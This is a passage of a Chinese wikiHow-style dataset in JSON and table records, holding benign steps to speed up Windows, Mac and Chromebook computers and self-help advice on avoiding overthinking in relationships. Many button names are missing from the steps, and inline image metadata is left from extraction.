\"只要改变一些电脑使用习惯就能取得惊人效果，让运行缓慢的电脑马上速度如飞：\\n经常清空“回收站”。\\n关掉不再使用的程序。\\n不要一直开机，至少隔几天关一次。\\n安装所有可用的更新。\\n不要安装过大、电脑无法应付的程序。\\n不要同时安装多个防病毒程序。Windows电脑自带有防病毒程序Windows Defender，因此不用另行安装。\\n确保电脑散热通风口干净，畅通无阻。\"}, {\"编号\": 2, \"标题\": \"更改电池设置。\", \"描述\": \"大多数Windows电脑都使用平衡模式，在节电和性能之间取得平衡，但是你也可以自己把它改成高性能模式。不过，这样会大大降低笔记本电脑的电池寿命：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div 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class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n输入控制面板。\\n点击菜单顶端的。\\n点击链接，或者如果这一页列出了许多图标，那就点击。\\n找到你要删除的程序，点击选中它。\\n点击或。\\n根据屏幕上的提示卸载程序。\\n如果系统提示你重新启动电脑，选择。\\n如果还有其它不需要的程序，请重复上述过程。\"}, {\"编号\": 4, \"标题\": \"禁止程序在开机时自动启动。\", \"描述\": \"Windows电脑开机后，你会发现好几个程序同时启动。这会大大延长电脑的加载时间。根据下面的步骤，阻止程序在开机时自动启动：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n输入任务管理器。\\n点击窗口顶端的。\\n点击选项卡。\\n点击某个程序名称。\\n点击窗口右下角的。\\n重复上述步骤，禁用这个窗口中的每一项程序。\"}, {\"编号\": 5, \"标题\": \"关掉特殊的视觉效果。\", \"描述\": \"Windows 10增加了几种视觉效果，比如阴影和动态光线效果。它们会明显减慢旧版或低端电脑的运行速度。不过你可以禁用这些效果，让电脑运行更顺畅：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n输入查看高级系统设置。\\n点击顶端的。\\n点击选项卡。\\n点击“性能”标题底下的。\\n点击选项卡。\\n勾选“自定义：”方框。\\n取消勾选这一页的每一个方框。\\n点击，然后点击。\"}, {\"编号\": 6, \"标题\": \"运行磁盘清理程序。\", \"描述\": \"磁盘清理程序会寻找临时文件、文件夹和其它可以安全删除的项目，然后把它们删除干净。这个方法十分方便，能删除电脑中好几千兆字节的无用数据：\\n点击的图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n输入磁盘清理。\\n点击顶端的程序。\\n点击窗口左下方的。\\n等待磁盘清理程序搜索可以删除的文件。\\n勾选主窗口中的每一个方框，必要时可以往下滚动。\\n点击。\\n当屏幕上出现提示，点击。\"}, {\"编号\": 7, \"标题\": \"扫描病毒。\", \"描述\": \"病毒会让电脑运行缓慢，导致某些程序无法使用。用内置的防病毒程序Windows Defender进行扫描，就能识别和删除电脑上的病毒。\\n不要下载和（或）使用其它防病毒程序。\"}, {\"编号\": 8, \"标题\": \"重新启动电脑。\", \"描述\": \"点击{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/07\\\\/Windowsstart.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/07\\\\/Windowsstart.png\\\\/30px-Windowsstart.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}，再点击{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/5\\\\/5d\\\\/Windowspower.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/5\\\\/5d\\\\/Windowspower.png\\\\/30px-Windowspower.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}，然后在出现的菜单中点击。电脑重新启动后，刚才所做的全部更改应该会生效。\\n电脑在启动后的头几分钟会运行迟缓，这是正常的现象。\"}]}, {\"编号\": 2, \"标题\": \"Mac电脑\", \"步骤\": [{\"编号\": 1, \"标题\": \"养成良好的电脑使用习惯。\", \"描述\": \"只要改变一些电脑使用习惯就能取得惊人效果，让运行迟缓的电脑马上速度如飞：\\n经常清空“废纸篓”。\\n关掉不再使用的程序。\\n不要一直开机，至少隔几天关机一次。\\n安装所有可用的更新。\\n不要安装体积过大、电脑无法应付的程序。\\n不要同时安装多个防病毒程序。Mac电脑使用Malwarebytes就足够了。\\n确保电脑散热通风口干净，畅通无阻。\"}, {\"编号\": 2, \"标题\": \"删除或移动桌面文件。\", \"描述\": \"众所周知，Mac系统很敏感，桌面杂乱会影响它的性能。不过，只要删除或移动桌面文件，就能轻松解决这个问题。\\n\\n删除：选中要删除的文件，点击菜单项，然后在出现的下拉菜单中点击选项。\\n移动：选中要移动的文件，同时按下Command和X键，打开目标文件夹，然后按下Command和V键。\"}, {\"编号\": 3, \"标题\": \"删除不必要的程序。\", \"描述\": \"和其它电脑一样，不用的程序不管有没有打开，都会占用Mac电脑大量的空间。按照下面的步骤，删除Mac电脑上不必要的程序：\\n点击桌面或打开Finder窗口。\\n点击菜单栏中的。\\n点击。\\n找出一个不需要的应用程序。\\n将它拖放到Mac电脑dock栏中的“废纸篓”。\\n根据屏幕上的指示删除程序。\\n重复上述过程，删除其它不用的程序。\"}, {\"编号\": 4, \"标题\": \"关掉开机自动启动的程序。\", \"描述\": \"这些程序会在Mac电脑开机时自动启动，明显减缓电脑的运行速度，甚至导致系统崩溃。如果你想要开机更顺畅，就要禁用这些程序：\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n点击。\\n点击标签栏。\\n选中一个程序。\\n点击程序窗口下面的“”。\\n重复上述过程，关闭这个窗口中的所有其它程序。\"}, {\"编号\": 5, \"标题\": \"禁用Dashboard功能。\", \"描述\": \"Dashboard是显示各种小工具和打开窗口的屏幕。虽然很有用，但是会占用大量内存。不过，要禁用它也很容易：\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n如果已经打开“系统偏好设置”，你也可以点击⋮⋮⋮⋮ ，并跳到下一步。\\n点击。\\n点击。\\n点击“Dashboard”下拉菜单。\\n在出现的菜单中点击。\"}, {\"编号\": 6, \"标题\": \"优化Mac电脑的硬盘储存空间。\", \"描述\": \"Mac OS Sierra和以上的版本有一个优化储存的功能，允许你删除电脑里不必要的文件和数据，包括看过的电视剧集（之后如有需要，可以重新下载）：\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n点击标签栏。\\n点击窗口右上方的。\\n点击“优化储存空间”标题右边的按钮。\"}, {\"编号\": 7, \"标题\": \"运行磁盘工具扫描电脑。\", \"描述\": \"它会检查和修复Mac电脑硬盘的小错误，进而提升文件恢复速度和电脑的整体性能：\\n点击菜单栏中的。\\n你可能需要先点击桌面或打开Finder窗口才会看到它。\\n点击。\\n双击图标。\\n在窗口左上方，选中你要扫描的硬盘。\\n点击按钮。\\n在出现提示时点击，如果出现另一个提示，那就点击。\"}, {\"编号\": 8, \"标题\": \"扫描病毒。\", \"描述\": \"病毒会减慢电脑运行速度，导致某些程序无法使用。只要下载Malwarebytes Antivirus，并进行扫描，就能识别和删除Mac电脑上的病毒。\\n不要同时安装多个防病毒程序。\"}, {\"编号\": 9, \"标题\": \"重新启动Mac电脑。\", \"描述\": \"打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}，从出现的下拉菜单中点击。在出现提示时，点击。Mac电脑重新启动后，应该会比之前运行得更快。\\n电脑在启动后的头几分钟会运行迟缓，这是正常的现象。\"}]}, {\"编号\": 3, \"标题\": \"Chromebook\", \"步骤\": [{\"编号\": 1, \"标题\": \"养成良好的电脑使用习惯。\", \"描述\": \"只要调整一些电脑使用习惯就能取得惊人效果，让运行迟缓的电脑马上变得性能卓越：\\n关掉不再使用的程序。\\n不要一直开机，至少隔几天关机一次。\\n安装所有可用的更新。\\n不要安装体积过大、电脑无法应付的程序。\\n不要同时安装多个防病毒程序。\\n确保电脑散热通风口干净，畅通无阻。\"}, {\"编号\": 2, \"标题\": \"把浏览器中开着但不再使用的标签栏关掉。\", \"描述\": \"打开太多标签栏会迅速降低Chrome的系统性能。关掉不再使用的标签栏，减少内存使用率。\"}, {\"编号\": 3, \"标题\": \"确保Chromebook运行最新版本的系统。\", \"描述\": \"具体方法如下：\\n点击右下角的头像。\\n点击图标{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/6\\\\/68\\\\/Android7settings.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/6\\\\/68\\\\/Android7settings.png\\\\/30px-Android7settings.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n从弹出的菜单中点击。\\n点击菜单中的。\\n点击。\"}, {\"编号\": 4, \"标题\": \"删除不必要的扩展程序。\", \"描述\": \"由于Chromebook内存不大，要是Chrome浏览器有很多不用的扩展程序，必定会减慢电脑运行速度。根据下面的步骤，删除这些扩展程序：\\n打开Chrome浏览器{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/c\\\\/cd\\\\/Android7chrome.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/cd\\\\/Android7chrome.png\\\\/30px-Android7chrome.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div 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[\"你可以重新安装电脑的操作系统，只保留最基本的程序、文件和设置，删除所有其它数据。如果你没有备份重要文件，这可算是一个很极端的选项，但是可以大大提升电脑性能。\\n\", \"如果性能对你来说很重要，而且不在意价格，考虑安装固态硬盘（SSD）。这类硬盘不包含移动部件，你会发现电脑的开机和加载时间大大缩短了。它们比普通硬盘更贵，但是近年来价格不断下降。\\n\", \"如果你的笔记本电脑还可以支持，不妨安装更多内存来改善性能。笔记本电脑可以支持的内存量通常比台式机低，你可能已经使用了它所能支持的最大内存量。\\n\"], \"注意事项\": [\"不要使用声称能加快电脑运行速度的程序。它们通常对电脑性能没什么影响，而且很多程序携带了恶意软件。\\n\"]}]}}",
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14,747 | 如何避免在恋爱中胡思乱想 | 1. 消除这些想法
1-1. 做几次深呼吸。
当思想不受控制时，请做几次深呼吸。随着呼吸次数的增加，你会慢慢平静下来。用鼻子深吸一口气，然后用嘴巴慢慢呼气，每次持续三秒钟，直到你感觉自己平静下来。
1-2. 找到一种解决忧虑的应急方法。
你担心的事情通常会有几个直接解决方案。不要受到忧思的影响，做些事情来处理它们！采取行动后，你会感觉好一点。
例如，如果恋人没有回你的信息，就打电话给他，看是否一切正常。
如果对方连电话都不接，就在手机上设置一个一小时的闹钟，然后在这段时间内做些别的事情。你可以洗个热水澡，小睡一会儿，或看几集自己最喜欢的节目。闹钟响后，再打个电话过去，不过在这之前，对方很可能就会给你回电话！
1-3. 用回应来抵消自己的消极想法。
当想法变得越来越消极时，正面面对它们。出现问题时，不要让自己去想象最坏的情况，考虑最现实的解释。
例如，如果几个小时没有收到另一半的消息，你可能认为他们在出轨。但如果你知道对方最近工作一直十分繁忙，那么你应该意识到对方可能是回家睡觉去了。
1-4. 找些能让自己发笑的东西。
笑真的是一剂良药。有时，你胡思乱想可能仅仅是因为心情不好。你可以找一些有趣的视频在线观看，来改善自己的心情。
1-5. 分散自己的注意力。
与其自己吓自己，不如做些有趣或有益的事情。播放一些音乐，开个小型舞会，或者打电话给妈妈问候一下。你也可以好好地冲个热水澡，或者晒个阳光浴。
分散注意力是不错的临时措施，但是你最终还是应该解决那些让你产生想法和感觉的潜在忧虑。如果这些问题没有得到解决，你和你的伴侣可能会互相生对方的气，导致缺乏信任的问题愈演愈烈。
1-6. 给一位愿意疏导你的朋友打电话。
和朋友交谈或许可以让你以更加理性的方式思考问题。如果你被自己的想法吓到了，可以给一位朋友打电话，看看自己的担心是否切合实际。如果朋友说你的担心缺乏根据，就忘掉忧虑，找点别的事情做。你打电话的对象必须是明智而又值得信赖的朋友，不要找容易胡思乱想的人倾诉。
1-7. 如果你觉得自己有焦虑情绪，请向心理咨询师求助。
如果你发现自己一直无法放下忧虑，或忧虑经常恶化，那么你可能是产生了焦虑。谈恋爱时感到忧虑是正常的，但是如果你无法克服它们甚至都影响到你的快乐和工作学习，那么你就应该寻求帮助。很多心理咨询师都可以帮你解决这种问题并建立健康的恋爱关系。
很多大学提供免费的心理治疗，如果你是大学生，可以利用这项服务。如果你已经工作，试着了解一下，看有没有治疗机构支持用医疗保险。你还可以百度搜索“治疗师+地名”，来查找当地的治疗师信息。
2. 拥有平衡的心态和身体
2-1. 每天练习冥想。
冥想有助于消除头脑中的消极想法，提高注意力。每天花至少10分钟，坐在一个安静并且不会被打扰的地方，只专注于自己的身体和呼吸。
如果你从未做过冥想，可以使用Headspace或Calm等应用程序。
2-2. 减少拿起电话的次数。
你之所以会胡思乱想，有一部分原因可能在于你对手机的过度使用。你可能会发现自己每分钟看一次手机，生怕漏掉了对方的电话或信息。不要满脑子想着联系对方，你可以偶尔放下手机。
出门和朋友聚会时，偶尔把手机留在家里。工作或观看自己最喜欢的节目时，将手机调成静音。
2-3. 每天对自己重复积极的“咒语”。
你的胡思乱想可能来自于自尊问题。你可能担心自己配不上对方，或对方应该拥有比自己更优秀的伴侣。为了克服这些想法，你可以在早晨或感到沮丧时，对自己重复咒语。
你可以说：“我很美。我很聪明。我值得被爱。”
2-4. 腾出时间和你的伴侣分开。
你可能希望自己的闲暇时间能够一直和伴侣在一起，这样你就能一直盯着对方了。尽管共度时光十分美好，但你和自己的关系是至关重要的。每周花至少一天的时间，做一点只与自己有关的事情。记住，你不光是对方的恋人，除此以外，你还有很多其他身份。
在自己最喜欢的爱好上花点时间，比如阅读、写作、跑步或跳舞。
你在恋爱以外做的活动越多，胡思乱想的次数就会越少。
2-5. 照顾好自己。
身体状况不佳时，你很难有一个健康的心态。试着每天晚上保证至少七小时的睡眠时间，并保持健康饮食。
试着每天锻炼至少三十分钟。开始时，你可以先在附近慢跑。过段时间，加入健身房，上一些健身班。你还可以选择瑜伽，它是一种很好的锻炼方式，而且可以在家中进行。
3. 形成更加牢固的关系
3-1. 想想是什么引起了自己担忧。
你自己必须意识到，是哪些担忧导致你在恋爱中喜欢胡思乱想。如果不知道担忧的具体内容，处理就更加无从谈起了。当你感到担心或出现疑虑时，可以考虑写下自己的担忧。然后思考一下自己写下的内容。
例如，你可能发现自己的顾虑是相对于伴侣而言，你不够优秀，配不上对方。
3-2. 庆祝你们恋爱关系中美好的一面。
即使你喜欢胡思乱想，你们的恋爱关系一定还有一些很好的方面。也许你的伴侣非常体贴，或者你们两个在一起十分开心。花点时间做一些你们两人都喜欢的事情，让对方知道你对这些事情心存感激。
去游乐场，上绘画课，或者看电影。
为了表示感谢，你可以说：“宝贝，非常感谢你总是为我准备丰盛的晚餐。我很感激。”
3-3. 聊聊你们两人的需求。
你的胡思乱想可能来自于你们关系中某些尚未解决的问题。开诚布公地与对方聊一聊，说说你需要对方怎么做。同时，你还应该聆听对方的需要。找到一个大家都满意的折衷方法。
例如，也许你的伴侣晚上外出，回到家后不打电话给你，会让你担心。让对方从现在开始，回到家后就记得给你打电话或发信息。
了解一下你的伴侣希望你做出什么改变。你可以说：“我知道我可能对你提了很多要求，但我自己也愿意做出一些改变。你希望我做哪些事情？”他可能希望你能给他留出一点空间，这是合理的要求！让他得偿所愿，并让他有时间来想念你。
记住，恋爱关系的关键在于分享并体验彼此的陪伴，而不是解决自己的个人问题。这些问题只能靠你自己解决。
3-4. 当伴侣不在身边时，让自己保持忙碌。
当伴侣外出旅行或和朋友外出时，不要隔几分钟就打电话查岗。让对方有自己的空间，能够享受假期时光。你可以出门和自己的朋友聚会，在家里做大扫除，或找点别的事情做来打发时间。
3-5. 相信伴侣说的话。
与其拿着放大镜在伴侣告诉你的每件事情中寻找漏洞，不如相信对方。除非有合理的怀疑理由，否则你应该信任你的伴侣。缺乏信任会毁了你和你们的恋爱关系。出现可疑的情况时，要求对方告诉你真相并相信对方说的话。
不过，如果你有确凿的证据证明对方在说谎，那么也许是时候结束这段关系了。
3-6. 出现问题时进行沟通。
与其挂断对方电话或劈头盖脸地指责对方，不如把问题摊开来说清楚。你应该等到对方下班或放学后，有时间放松时再提出这个问题。
你可以说：“嘿，宝贝，我不想在你工作的时候打扰你，不过我一直在想昨晚发生的事情。你对我大吼大叫让我很介意。我知道你很生气，但你不应该吼我。”
3-7. 让自己习惯恋爱关系中脆弱性。
脆弱性指的是愿意分享真实的自己并暴露自己的缺点、秘密和黑暗面，而不感到羞耻。展露这种脆弱可以建立信任，为更加亲密的关系铺平道路。不要把自己的需求、感受和需要藏在心里，试着坦诚地与自己的伴侣交流。刚开始时，开诚布公需要一定的勇气，还会承受一定的风险，但作为回报，你会收获更多的信任，减少胡思乱想的次数。
3-8. 如果你的信任已经不复存在，可以试着评价一下现在和自己在一起的人。
你的胡思乱想是存在于自己的每段恋爱关系里，还是最近才出现的？你之所以会胡思乱想，可能是因为现在和你在一起的人不值得你信任。与其和出轨、说谎、说话不算话的人在一起，不如结束这段关系。请选择一个一直可靠、诚实的伴侣。记住，结束关系不是世界末日，你可以从中吸取教训。
即使伴侣没有辜负你的信任，如果这段关系带来的伤害多于好处，那么结束它可能仍然是正确的选择。如果因为在恋爱中胡思乱想而承受了很大的压力，那么你可以针对这段关系列一份利弊清单，来帮助你判断自己是否应该继续和对方在一起。
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形成更加牢固的关系\\n3-1. 想想是什么引起了自己担忧。\\n你自己必须意识到，是哪些担忧导致你在恋爱中喜欢胡思乱想。如果不知道担忧的具体内容，处理就更加无从谈起了。当你感到担心或出现疑虑时，可以考虑写下自己的担忧。然后思考一下自己写下的内容。\\n例如，你可能发现自己的顾虑是相对于伴侣而言，你不够优秀，配不上对方。\\n3-2. 庆祝你们恋爱关系中美好的一面。\\n即使你喜欢胡思乱想，你们的恋爱关系一定还有一些很好的方面。也许你的伴侣非常体贴，或者你们两个在一起十分开心。花点时间做一些你们两人都喜欢的事情，让对方知道你对这些事情心存感激。\\n去游乐场，上绘画课，或者看电影。\\n为了表示感谢，你可以说：“宝贝，非常感谢你总是为我准备丰盛的晚餐。我很感激。”\\n3-3. 聊聊你们两人的需求。\\n你的胡思乱想可能来自于你们关系中某些尚未解决的问题。开诚布公地与对方聊一聊，说说你需要对方怎么做。同时，你还应该聆听对方的需要。找到一个大家都满意的折衷方法。\\n例如，也许你的伴侣晚上外出，回到家后不打电话给你，会让你担心。让对方从现在开始，回到家后就记得给你打电话或发信息。\\n了解一下你的伴侣希望你做出什么改变。你可以说：“我知道我可能对你提了很多要求，但我自己也愿意做出一些改变。你希望我做哪些事情？”他可能希望你能给他留出一点空间，这是合理的要求！让他得偿所愿，并让他有时间来想念你。\\n记住，恋爱关系的关键在于分享并体验彼此的陪伴，而不是解决自己的个人问题。这些问题只能靠你自己解决。\\n3-4. 当伴侣不在身边时，让自己保持忙碌。\\n当伴侣外出旅行或和朋友外出时，不要隔几分钟就打电话查岗。让对方有自己的空间，能够享受假期时光。你可以出门和自己的朋友聚会，在家里做大扫除，或找点别的事情做来打发时间。\\n3-5. 相信伴侣说的话。\\n与其拿着放大镜在伴侣告诉你的每件事情中寻找漏洞，不如相信对方。除非有合理的怀疑理由，否则你应该信任你的伴侣。缺乏信任会毁了你和你们的恋爱关系。出现可疑的情况时，要求对方告诉你真相并相信对方说的话。\\n不过，如果你有确凿的证据证明对方在说谎，那么也许是时候结束这段关系了。\\n3-6. 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\"你担心的事情通常会有几个直接解决方案。不要受到忧思的影响，做些事情来处理它们！采取行动后，你会感觉好一点。\\n例如，如果恋人没有回你的信息，就打电话给他，看是否一切正常。\\n如果对方连电话都不接，就在手机上设置一个一小时的闹钟，然后在这段时间内做些别的事情。你可以洗个热水澡，小睡一会儿，或看几集自己最喜欢的节目。闹钟响后，再打个电话过去，不过在这之前，对方很可能就会给你回电话！\"}, {\"编号\": 3, \"标题\": \"用回应来抵消自己的消极想法。\", \"描述\": \"当想法变得越来越消极时，正面面对它们。出现问题时，不要让自己去想象最坏的情况，考虑最现实的解释。\\n例如，如果几个小时没有收到另一半的消息，你可能认为他们在出轨。但如果你知道对方最近工作一直十分繁忙，那么你应该意识到对方可能是回家睡觉去了。\"}, {\"编号\": 4, \"标题\": \"找些能让自己发笑的东西。\", \"描述\": \"笑真的是一剂良药。有时，你胡思乱想可能仅仅是因为心情不好。你可以找一些有趣的视频在线观看，来改善自己的心情。\"}, {\"编号\": 5, \"标题\": \"分散自己的注意力。\", \"描述\": \"与其自己吓自己，不如做些有趣或有益的事情。播放一些音乐，开个小型舞会，或者打电话给妈妈问候一下。你也可以好好地冲个热水澡，或者晒个阳光浴。\\n分散注意力是不错的临时措施，但是你最终还是应该解决那些让你产生想法和感觉的潜在忧虑。如果这些问题没有得到解决，你和你的伴侣可能会互相生对方的气，导致缺乏信任的问题愈演愈烈。\"}, {\"编号\": 6, \"标题\": \"给一位愿意疏导你的朋友打电话。\", \"描述\": \"和朋友交谈或许可以让你以更加理性的方式思考问题。如果你被自己的想法吓到了，可以给一位朋友打电话，看看自己的担心是否切合实际。如果朋友说你的担心缺乏根据，就忘掉忧虑，找点别的事情做。你打电话的对象必须是明智而又值得信赖的朋友，不要找容易胡思乱想的人倾诉。\"}, {\"编号\": 7, \"标题\": \"如果你觉得自己有焦虑情绪，请向心理咨询师求助。\", \"描述\": \"如果你发现自己一直无法放下忧虑，或忧虑经常恶化，那么你可能是产生了焦虑。谈恋爱时感到忧虑是正常的，但是如果你无法克服它们甚至都影响到你的快乐和工作学习，那么你就应该寻求帮助。很多心理咨询师都可以帮你解决这种问题并建立健康的恋爱关系。\\n很多大学提供免费的心理治疗，如果你是大学生，可以利用这项服务。如果你已经工作，试着了解一下，看有没有治疗机构支持用医疗保险。你还可以百度搜索“治疗师+地名”，来查找当地的治疗师信息。\"}]}, {\"编号\": 2, \"标题\": \"拥有平衡的心态和身体\", \"步骤\": [{\"编号\": 1, \"标题\": \"每天练习冥想。\", \"描述\": \"冥想有助于消除头脑中的消极想法，提高注意力。每天花至少10分钟，坐在一个安静并且不会被打扰的地方，只专注于自己的身体和呼吸。\\n如果你从未做过冥想，可以使用Headspace或Calm等应用程序。\"}, {\"编号\": 2, \"标题\": \"减少拿起电话的次数。\", \"描述\": \"你之所以会胡思乱想，有一部分原因可能在于你对手机的过度使用。你可能会发现自己每分钟看一次手机，生怕漏掉了对方的电话或信息。不要满脑子想着联系对方，你可以偶尔放下手机。\\n出门和朋友聚会时，偶尔把手机留在家里。工作或观看自己最喜欢的节目时，将手机调成静音。\"}, {\"编号\": 3, \"标题\": \"每天对自己重复积极的“咒语”。\", \"描述\": \"你的胡思乱想可能来自于自尊问题。你可能担心自己配不上对方，或对方应该拥有比自己更优秀的伴侣。为了克服这些想法，你可以在早晨或感到沮丧时，对自己重复咒语。\\n你可以说：“我很美。我很聪明。我值得被爱。”\"}, {\"编号\": 4, \"标题\": \"腾出时间和你的伴侣分开。\", \"描述\": \"你可能希望自己的闲暇时间能够一直和伴侣在一起，这样你就能一直盯着对方了。尽管共度时光十分美好，但你和自己的关系是至关重要的。每周花至少一天的时间，做一点只与自己有关的事情。记住，你不光是对方的恋人，除此以外，你还有很多其他身份。\\n在自己最喜欢的爱好上花点时间，比如阅读、写作、跑步或跳舞。\\n你在恋爱以外做的活动越多，胡思乱想的次数就会越少。\"}, {\"编号\": 5, \"标题\": \"照顾好自己。\", \"描述\": \"身体状况不佳时，你很难有一个健康的心态。试着每天晚上保证至少七小时的睡眠时间，并保持健康饮食。\\n试着每天锻炼至少三十分钟。开始时，你可以先在附近慢跑。过段时间，加入健身房，上一些健身班。你还可以选择瑜伽，它是一种很好的锻炼方式，而且可以在家中进行。\"}]}, {\"编号\": 3, \"标题\": \"形成更加牢固的关系\", \"步骤\": [{\"编号\": 1, \"标题\": \"想想是什么引起了自己担忧。\", \"描述\": \"你自己必须意识到，是哪些担忧导致你在恋爱中喜欢胡思乱想。如果不知道担忧的具体内容，处理就更加无从谈起了。当你感到担心或出现疑虑时，可以考虑写下自己的担忧。然后思考一下自己写下的内容。\\n例如，你可能发现自己的顾虑是相对于伴侣而言，你不够优秀，配不上对方。\"}, {\"编号\": 2, \"标题\": \"庆祝你们恋爱关系中美好的一面。\", \"描述\": \"即使你喜欢胡思乱想，你们的恋爱关系一定还有一些很好的方面。也许你的伴侣非常体贴，或者你们两个在一起十分开心。花点时间做一些你们两人都喜欢的事情，让对方知道你对这些事情心存感激。\\n去游乐场，上绘画课，或者看电影。\\n为了表示感谢，你可以说：“宝贝，非常感谢你总是为我准备丰盛的晚餐。我很感激。”\"}, {\"编号\": 3, \"标题\": \"聊聊你们两人的需求。\", \"描述\": 